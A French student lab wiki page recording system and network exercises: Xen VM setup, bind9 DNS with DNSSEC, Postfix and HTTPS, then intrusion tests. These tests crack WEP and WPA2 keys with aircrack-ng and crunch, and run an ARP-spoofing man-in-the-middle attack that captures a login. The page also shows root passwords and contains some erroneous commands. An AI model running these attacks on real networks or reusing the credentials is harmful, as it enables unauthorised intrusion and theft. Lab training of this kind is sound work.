vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionn pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53953TP sysres IMA2a5 2020/2021 G52020-11-20T10:13:55Z<p>Aglaine : /* Envoie du SSL Certification Gandi */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
